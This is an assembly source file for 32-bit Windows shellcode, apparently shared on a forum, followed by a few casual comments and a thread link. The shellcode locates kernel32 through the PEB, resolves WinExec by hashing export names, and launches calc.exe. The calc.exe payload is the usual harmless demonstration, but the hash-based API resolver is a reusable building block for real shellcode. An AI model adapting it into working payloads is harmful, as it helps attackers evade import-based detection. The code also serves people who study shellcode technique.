if IsSc=0
     format pe console
   entry ShellCodeTest
else
 use32
end if

include 'Win32AX.inc'

struc make_hash Args*
{
common local ..result, ..char, ..temp
      virtual at 0
                db Args
             ..result = 0x7C90EB94
               ..temp = 0
          repeat $
                    load ..char byte from % - 1
                 if ..char = 0
                               break
                       end if
                      ..temp   = (..temp and 0xffffff00) or ..char
                        ..temp   = ..temp shl 25 or ..temp shr 7
                    ..result = ..result xor ..temp
              end repeat
  end virtual
 .       dd (..result and 0xffffffff)
}

WinExec           make_hash       'WinExec'
calc_exe db              'calc.exe',0

ShellCodeTest:
    stdcall GetKrnl32
   stdcall GetAddrByHash, eax, WinExec
 invoke  WinExec, calc_exe, 1
        ret

proc GetKrnl32
   mov     eax, [fs:30h]
   irp     offset, 0ch,1ch,00h,08h {mov eax, [eax+offset]}
   ret
endp

proc GetAddrByHash, hModule, lpApiHash
   pusha
       mov     edi, [lpApiHash]
    push    edi
 mov     edi, [edi]
  mov     ebp, [hModule]
      mov     eax, [ebp+3ch]
      mov     edx, [ebp+eax+78h]
  add     edx, ebp
    mov     ecx, [edx+18h]
      mov     ebx, [edx+20h]
      add     ebx, ebp
    push    edx
.search:
 dec     ecx
 mov     esi, [ebx+ecx*4]
    add     esi, ebp
    xor     eax, eax
    mov     edx, 7C90EB94h
.hash:
        ror     eax, 7
      xor     edx, eax
    lodsb
       test    al, al
      jnz     .hash
       cmp     edx, edi
    jne     .search
     pop     edx
 mov     ebx, [edx+24h]
      add     ebx, ebp
    mov     cx, [ebx+ecx*2]
     mov     ebx, [edx+1ch]
      add     ebx, ebp
    mov     eax, [ebx+ecx*4]
    add     eax, ebp
    pop     edi
 mov     [edi], eax
  popa
        ret
endp
    

But at least he wrote it nicely and without asking things like how to sit properly when coding!!

This is irp macro very much!

other, http://bbs.pediy.com/showthread.php?t=65309 ..